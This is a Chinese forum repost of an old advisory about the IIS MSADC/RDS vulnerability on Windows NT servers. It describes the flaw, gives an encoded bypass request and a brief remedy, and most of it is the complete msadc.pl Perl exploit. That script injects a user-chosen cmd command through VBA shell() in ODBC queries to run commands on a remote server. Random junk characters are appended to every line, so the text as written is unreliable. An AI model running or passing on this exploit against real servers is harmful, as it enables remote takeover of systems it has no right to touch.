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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) LFskNF0X  
XZ&cTjNB&  
涉及程序: ^aONuG9  
Microsoft NT server }ZKG-~  
sA|!b.q  
描述: {@7xOOAw  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 t9\}!{<s  
tYk!Y/O}  
详细: 2N}UB=J  
如果你没有时间读详细内容的话,就删除: t8?$q})RL  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ^D5+ S`V  
有关的安全问题就没有了。 `Q!#v{  
Oj,v88=  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 iU/v; T(  
f =MP1q[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 xW. ~Jt  
关于利用ODBC远程漏洞的描述,请参看: _)%Sz"g^Ix  
]=Dzr<*v  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?glK~G!i  
hR+\,P#G[  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Re<@ .d  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |6O7_U#q  
NE)Yd7m-  
这里不再论述。 5I6u 2k3  
&~K4I  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: M?ObK#l!_  
]5',`~jkF  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8fSY@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! *mjPNp'3{m  
N!~5S`  
W' Y?X]xr  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 6BdK)s  
) -^(Su(!  
#!perl xh:A*ZI=7  
# dI?x&#(vw  
# MSADC/RDS 'usage' (aka exploit) script L&,&SDr  
# ]pq(Q:"P,5  
# by rain.forest.puppy PY76;D*`  
# pdySip<  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me E'cI}q  
# beta test and find errors! 4G3u8)b=  
<5]ufv  
use Socket; use Getopt::Std; gjL+8Rk  
getopts("e:vd:h:XR", \%args); L6 IIk  
=fcM2O#$  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; '',g}WvRwe  
{XEX0|TZ  
if (!defined $args{h} && !defined $args{R}) { wM1&_%N  
print qq~ <f9a%`d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ey@{Ng#  
-h <host> = host you want to scan (ip or domain) TFG0~"4Cz  
-d <seconds> = delay between calls, default 1 second `V2doV)  
-X = dump Index Server path table, if available i?:#lbw_  
-v = verbose @:Emmzucv|  
-e = external dictionary file for step 5 t\XA JU  
re)7h$f}  
Or a -R will resume a command session {WvYb,  
_lBHZJ+  
~; exit;} hlBMRx49  
}Y!v"DO#Q*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; .(%]RSBY  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} | r,{#EE  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} y!VL`xV  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); tNG[|Bi#  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} hYbaVE  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } nt_FqUJ  
Tvl"KVGm  
if (!defined $args{R}){ $ret = &has_msadc; HJ_8 `( '  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} x8o/m$[,=u  
+n>p"+c  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" QmC#1%@a  
. "cmd /c "; "9X1T]  
$in=<STDIN>; chomp $in; 8gxo{<,9  
$command="cmd /c " . $in ; lFN|)(X  
Y~k,AJ{ ^  
if (defined $args{R}) {&load; exit;} q&2L@l3A  
UB,0c)   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `b KJ  
&try_btcustmr; KU^|T2s%  
jx#9  
print "\nStep 2: Trying to make our own DSN..."; L0;XzZ S  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; B8~bx%)3T  
:(YFIW`59  
print "\nStep 3: Trying known DSNs..."; tTb fyI  
&known_dsn; UCo`l~K)qg  
rV fZ_\|  
print "\nStep 4: Trying known .mdbs..."; O$7cN\Z  
&known_mdb; zSagsH |W  
2 b80b50  
if (defined $args{e}){ ny}_^3  
print "\nStep 5: Trying dictionary of DSN names..."; _`lPLBr6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } TF?~vS%@P  
X#o<))  
print "Sorry Charley...maybe next time?\n"; ~(`&hYE  
exit; VA @  
.cz7jD  
############################################################################## wUfm)Q#  
B9wQ;[gQB  
sub sendraw { # ripped and modded from whisker x^Zm:Jrw~  
sleep($delay); # it's a DoS on the server! At least on mine... 48_( 'z*>  
my ($pstr)=@_; kkIG{Bw  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || x~ID[  
die("Socket problems\n"); AquO#A[,#  
if(connect(S,pack "SnA4x8",2,80,$target)){ <m,bP c :R  
select(S); $|=1; = \M6s  
print $pstr; my @in=<S>; 8~sC$sIlE  
select(STDOUT); close(S); p_i',5H(  
return @in; QJSi|&Rx&?  
} else { die("Can't connect...\n"); }}  K{9  
.I]EP-  
############################################################################## %<|cWYM="z  
32Wa{LG;2  
sub make_header { # make the HTTP request 7NkMr8[}F  
my $msadc=<<EOT B r6tgoA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 <tW/9}@p9  
User-Agent: ACTIVEDATA sB!6"D5  
Host: $ip C@g/{?\  
Content-Length: $clen X/ Ii}X/p  
Connection: Keep-Alive qIxe)+.  
}:S}jo7  
ADCClientVersion:01.06 ;B !p4 hu  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 6,!$S2(zT  
!{CaW4  
--!ADM!ROX!YOUR!WORLD! s@p:XO  
Content-Type: application/x-varg {I/t3.R`  
Content-Length: $reqlen Rm}G4Pq  
[Wxf,rW i  
EOT U#%+FLX@w  
; $msadc=~s/\n/\r\n/g; Lb?0<  
return $msadc;} I%{ 1K+V/  
jW{bP_,"  
############################################################################## XePGOw))O  
>`<qa!9  
sub make_req { # make the RDS request o7^0Lo5Z?  
my ($switch, $p1, $p2)=@_; </b_Rar  
my $req=""; my $t1, $t2, $query, $dsn; xyHv7u%*  
z'*{V\  
if ($switch==1){ # this is the btcustmr.mdb query \wR\i^  
$query="Select * from Customers where City=" . make_shell(); bc;?O`I<  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . o*3\xg  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} -"I9`  
3_>=Cv}  
elsif ($switch==2){ # this is general make table query X<H{  
$query="create table AZZ (B int, C varchar(10))"; DT_%Rz~<  
$dsn="$p1";} @+a}O  
*J{E1])<a  
elsif ($switch==3){ # this is general exploit table query & x$ps  
$query="select * from AZZ where C=" . make_shell(); ZH`(n5  
$dsn="$p1";} 6Ilj7m*  
4wWfaL5"  
elsif ($switch==4){ # attempt to hork file info from index server L\R(//V  
$query="select path from scope()"; 4>/i,_&K K  
$dsn="Provider=MSIDXS;";} lYey7tl{  
DPCQqV|7  
elsif ($switch==5){ # bad query iba8G]2  
$query="select"; 4y!GFhMh  
$dsn="$p1";} ]]y4$ [|L  
S4rm K&  
$t1= make_unicode($query); DQ&\k'"\  
$t2= make_unicode($dsn); Oc-ia)v1G  
$req = "\x02\x00\x03\x00"; _:FD#5BZ1  
$req.= "\x08\x00" . pack ("S1", length($t1)); )P,pW?h$  
$req.= "\x00\x00" . $t1 ; cM\BEh h  
$req.= "\x08\x00" . pack ("S1", length($t2)); mex@~VK  
$req.= "\x00\x00" . $t2 ; +:W?:\  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; t>x!CNb'C  
return $req;} WO6+r?0M2  
b;nqhO[f}  
############################################################################## P76gJ@#m  
<sX_hIA^Fx  
sub make_shell { # this makes the shell() statement yZ]?-7  
return "'|shell(\"$command\")|'";} [[xnp;-;  
g?K? Fn.}  
############################################################################## a-AA$U9hj  
*$3p3-  
sub make_unicode { # quick little function to convert to unicode $M~`)UeV_  
my ($in)=@_; my $out; F"QJ)F  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;,7m  
return $out;} h)aLq  
/O`R9+;  
############################################################################## 7K+eI!m.s  
GIfs]zVr`  
sub rdo_success { # checks for RDO return success (this is kludge) ,XI=e=  
my (@in) = @_; my $base=content_start(@in); mo,"3YW  
if($in[$base]=~/multipart\/mixed/){ F%4N/e'L  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} L">m2/ HG  
return 0;} K92M9=>  
M:L-j{?y_  
############################################################################## rDu?XJA  
RRzLQ7J  
sub make_dsn { # this makes a DSN for us ,Ek6X)|@  
my @drives=("c","d","e","f"); rrq7UJ;  
print "\nMaking DSN: "; (`u+(M!^  
foreach $drive (@drives) { i[w&!mn%  
print "$drive: "; = )4bf"~8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . qk>M~,  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" t;:Yf  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); $Rn9*OKr  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; vE)d0l"  
return 0 if $2 eq "404"; # not found/doesn't exist t{`-G*^  
if($2 eq "200") { }=.C~f]A  
foreach $line (@results) { ca,c+5  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;yCtk ~T%  
} return 0;} 6zi Mf  
n A%8 bZ+  
############################################################################## XpA|<s  
|CK/-UG}  
sub verify_exists { k^K%."INn  
my ($page)=@_; uKB V`I  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 3$BO=hI/-  
return $results[0];} jS5K:yx<  
7|Iq4@IT  
############################################################################## z6h/C {  
]BTISaL-R  
sub try_btcustmr { sDu&9+  
my @drives=("c","d","e","f"); +vPCr&40  
my @dirs=("winnt","winnt35","winnt351","win","windows"); f9hH{ ( A  
Ri}JM3\J  
foreach $dir (@dirs) { ;!OME*?m<  
print "$dir -> "; # fun status so you can see progress ]iZ-MG)J  
foreach $drive (@drives) { ;<%d^   
print "$drive: "; # ditto PWyFys  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; +eop4 |Z  
$reqlenlen=length( "$reqlen" ); rP/W,! 7:K  
$clen= 206 + $reqlenlen + $reqlen; &ha<pj~  
T(k:\z/  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ?ZkVk=t?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} q^~w:$^ U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} o[S Mt  
z5sKV7&\[n  
############################################################################## -qLNs_ _k  
Jq+@%#G  
sub odbc_error { @[n%q.|VB  
my (@in)=@_; my $base; =,08D^xY  
my $base = content_start(@in); Tc|+:Usy  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~dLe9-_9  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?3i<^@?  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5"+;}E|q  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; W;U<,g '  
return $in[$base+4].$in[$base+5].$in[$base+6];} N'|9rB2e  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ZJ[p7XP  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 0 4oMgH>Vd  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5p/.( |b,  
5z" X>!?^  
############################################################################## "\M3||.!  
s5X51#J#~  
sub verbose { SK_N|X].  
my ($in)=@_; 0,iG9D 7  
return if !$verbose; ? :F Jc[J  
print STDOUT "\n$in\n";} SV^[)p )  
P%<MQg|k`  
############################################################################## Ju.T.)H  
P_gai7Xg  
sub save { aDE}'d1qo  
my ($p1, $p2, $p3, $p4)=@_; ^HHT>K-m  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 8P2_/)|  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; :;Npk9P(N  
close OUT;} nrM-\'  
fOk(ivYy  
############################################################################## |1T[P)Q  
`|:` yl  
sub load { CZ(fP86e  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >-(,BfZ  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 7}tXF  
@p=<IN>; close(IN); /8P7L'Rb  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <V#]3$(S  
$target= inet_aton($ip) || die("inet_aton problems"); #O7phjzgD  
print "Resuming to $ip ..."; @j%7tfW  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; xI~c~KC  
if($p[1]==1) { +.X3&|@k  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; p,\(j  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !ed0  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); <_4'So>  
if (rdo_success(@results)){print "Success!\n";} _ n4C~  
else { print "failed\n"; verbose(odbc_error(@results));}} f6#1sO4"  
elsif ($p[1]==3){ S^~ lQ|D  
if(run_query("$p[3]")){ 4>]B8ZxH  
print "Success!\n";} else { print "failed\n"; }} @rr\Jf""z  
elsif ($p[1]==4){ hr g'Z5n  
if(run_query($drvst . "$p[3]")){ ;Udx|1o  
print "Success!\n"; } else { print "failed\n"; }} al4X}  
exit;} kB-<17  
m\K1Ex  
############################################################################## a%wa3N=v  
''.\DC~K  
sub create_table { QVD^p;b  
my ($in)=@_; z~;@Mo"*f  
$reqlen=length( make_req(2,$in,"") ) - 28; +@\=v}: F  
$reqlenlen=length( "$reqlen" ); K!gocNOf  
$clen= 206 + $reqlenlen + $reqlen; t5S!j2E  
my @results=sendraw(make_header() . make_req(2,$in,"")); KU_""T  
return 1 if rdo_success(@results); 85+w\KuEY  
my $temp= odbc_error(@results); verbose($temp); N2Cf(  
return 1 if $temp=~/Table 'AZZ' already exists/; !Eb!y`jK  
return 0;} ul\FZT 4  
@$?*UI6y  
############################################################################## F4g3l    
~JOC8dO  
sub known_dsn { 0|(6q=QK  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _No<fz8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /? Bu^KX  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", G\*`%B_ n  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); n5?7iU&JIo  
ymA8`k5>@  
foreach $dSn (@dsns) { ;oRgg'k<  
print "."; ABhQ7 x|  
next if (!is_access("DSN=$dSn")); p1,.f&(f  
if(create_table("DSN=$dSn")){ ,h.hgyt  
print "$dSn successful\n"; IVG77+O# }  
if(run_query("DSN=$dSn")){ /ASpAl[J  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { A*? Qm  
print "Something's borked. Use verbose next time\n";}}} print "\n";} zB+zw\ncN  
@G=_nZxv  
############################################################################## YU1z\pK  
f7 zGz  
sub is_access { kfy|3KA3m  
my ($in)=@_; 5K$d4KT  
$reqlen=length( make_req(5,$in,"") ) - 28; sHHu<[psM  
$reqlenlen=length( "$reqlen" ); vNAQ/Q  
$clen= 206 + $reqlenlen + $reqlen; FX/f0C3CK  
my @results=sendraw(make_header() . make_req(5,$in,"")); #vT~D>zj  
my $temp= odbc_error(@results); R"e533  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?;p45y~n%  
return 0;} s%)>O{{)  
4zf(  
############################################################################## mB*;>   
d?=r:TBU  
sub run_query { m?`$NJST  
my ($in)=@_; r7  *'s  
$reqlen=length( make_req(3,$in,"") ) - 28; _Ns_$_  
$reqlenlen=length( "$reqlen" ); P".rm0@R  
$clen= 206 + $reqlenlen + $reqlen; IPlkv{^  
my @results=sendraw(make_header() . make_req(3,$in,"")); \xOv9(  
return 1 if rdo_success(@results); l`*R !\  
my $temp= odbc_error(@results); verbose($temp); 'k9 1;T[  
return 0;} Y!_e ,]GW  
~@K!>j  
############################################################################## Bet?]4\_  
EBplr ,  
sub known_mdb { 5f#]dgBe  
my @drives=("c","d","e","f","g"); DbK-3F_  
my @dirs=("winnt","winnt35","winnt351","win","windows"); );V.le}%(  
my $dir, $drive, $mdb; Yf x'7gj  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~ 6Hi"w  
?) VBkA5j  
# this is sparse, because I don't know of many l~GcD  
my @sysmdbs=( "\\catroot\\icatalog.mdb", o1u?H4z  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", AM4 :xz  
"\\system32\\certmdb.mdb", :Pi="  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% p}-B>v  
Q E*`#r#e  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", XE : JL_  
"\\cfusion\\cfapps\\forums\\forums_.mdb", +L#Q3}=s  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,+E"s3NW  
"\\cfusion\\cfapps\\security\\realm_.mdb", -2*Pm1\Z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", qbQH1<yS<  
"\\cfusion\\database\\cfexamples.mdb", GhY MO6Q4  
"\\cfusion\\database\\cfsnippets.mdb", l%MIna/Tp  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 0%]F&|  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [!b=A:@  
"\\cfusion\\brighttiger\\database\\cleam.mdb", s;YuB#Z  
"\\cfusion\\database\\smpolicy.mdb", v,,Dz8!Ty  
"\\cfusion\\database\cypress.mdb", %weG}gCM  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", RL1cx|  
"\\website\\cgi-win\\dbsample.mdb",  8=j_~&*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |kkg1M#  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A$ o?_  
); #these are just & 13#/  
foreach $drive (@drives) { ,c[f/sT\  
foreach $dir (@dirs){ :%"$8o*0W  
foreach $mdb (@sysmdbs) { psE&Rx3)  
print "."; !"N-To-c  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ UWq[K&vQZ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; T &kr IZw  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ R]Pv=fn  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; M`.v/UQn  
} else { print "Something's borked. Use verbose next time\n"; }}}}} {~eVZVv  
;bes#|^F  
foreach $drive (@drives) { @ykM98K  
foreach $mdb (@mdbs) { Y%)@)$sK  
print "."; [V.#w|n  
if(create_table($drv . $drive . $dir . $mdb)){ )nA fT0()0  
print "\n" . $drive . $dir . $mdb . " successful\n"; ^Euqy,8}  
if(run_query($drv . $drive . $dir . $mdb)){ zX ?@[OT  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~!TRR .  
} else { print "Something's borked. Use verbose next time\n"; }}}}  #Up X  
} 5<L+T  
<LA!L  
############################################################################## 2$gOe^ &  
eEMU,zCl  
sub hork_idx { I]Jz[{~1  
print "\nAttempting to dump Index Server tables...\n"; D]$X@2A  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; o"@GYc["  
$reqlen=length( make_req(4,"","") ) - 28; t5jZ8&M5]  
$reqlenlen=length( "$reqlen" ); fkK42*U@r  
$clen= 206 + $reqlenlen + $reqlen; \Dr?}D  
my @results=sendraw2(make_header() . make_req(4,"","")); P+[\9Gg  
if (rdo_success(@results)){ K,L  
my $max=@results; my $c; my %d; (uskVK>L  
for($c=19; $c<$max; $c++){ @If ^5s;z  
$results[$c]=~s/\x00//g; Y+UM>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ^K n{L  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; xdd;!HK,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; XKepk? E  
$d{"$1$2"}="";} P|4qbm4%O,  
foreach $c (keys %d){ print "$c\n"; } khtYn.eaL  
} else {print "Index server doesn't seem to be installed.\n"; }} \t\ZyPxn  
V.Ki$0>  
############################################################################## O %?d0K  
W4o$J4IX{  
sub dsn_dict { 0*}%v:uN9  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); )Y@mL/_  
while(<IN>){ W: vw.  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; tgB\;nbB  
next if (!is_access("DSN=$dSn")); [agp06 $D?  
if(create_table("DSN=$dSn")){ Q7@.WG5  
print "$dSn successful\n"; o$+"{3svw?  
if(run_query("DSN=$dSn")){ x*2'I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !/Wp0E'A  
print "Something's borked. Use verbose next time\n";}}} or{X{_X7  
print "\n"; close(IN);} %>Y86>mVz  
]S#m o  
############################################################################## h#!u"'JW  
E;Sb e9]   
sub sendraw2 { # ripped and modded from whisker l d4#jV ei  
sleep($delay); # it's a DoS on the server! At least on mine... -<Zs7(  
my ($pstr)=@_; S8$kxQg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || QvN=<V  
die("Socket problems\n"); U$5 lh  
if(connect(S,pack "SnA4x8",2,80,$target)){ 7Ta",S@m  
print "Connected. Getting data"; *iVCHQ~  
open(OUT,">raw.out"); my @in; _@Le MNv  
select(S); $|=1; print $pstr; {(,[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} k9pOY]_Y  
close(OUT); select(STDOUT); close(S); return @in; :RE.md  
} else { die("Can't connect...\n"); }} Ysz&/ry  
ApxGrCu  
############################################################################## lYq4f|5H}m  
s9'lw'  
sub content_start { # this will take in the server headers Mk~]0d  
my (@in)=@_; my $c; "]M]pR/j  
for ($c=1;$c<500;$c++) { PA(XdT{  
if($in[$c] =~/^\x0d\x0a/){ Vx6/Rehj  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } B5Y 3GWhrx  
else { return $c+1; }}} 8V$:th('  
return -1;} # it should never get here actually ,AO]4Ec  
!K~:crUV|S  
############################################################################## %@jL? u  
<cn{S`  
sub funky { b=Y:`&o=[  
my (@in)=@_; my $error=odbc_error(@in); ~ :\QC  
if($error=~/ADO could not find the specified provider/){ #gL$~.1  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; &eHhj9  
exit;} W%xg;uzp  
if($error=~/A Handler is required/){ MWxv\o   
print "\nServer has custom handler filters (they most likely are patched)\n"; Mr3;B+S  
exit;} ,#FK3;U  
if($error=~/specified Handler has denied Access/){ }bxW@(bs  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8 ;C_@  
exit;}} x!08FL)  
F.0CJ7s  
############################################################################## 3 0fsVwE2  
23AMrDF=N  
sub has_msadc { A1A/OU<Vb  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); %ur_DQ  
my $base=content_start(@results); Z`=[hu  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,r-l^I3<  
return 0;} lj4D: >Ov  
1j7sJ" *  
######################## ?/ @~ d  
K5fL{2V?  
IP 9{vk  
解决方案: .%(Q*ioDh  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll qx$-% P  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \UdHN=A&  
CO` %eL ~  
拿出来充数 哈哈
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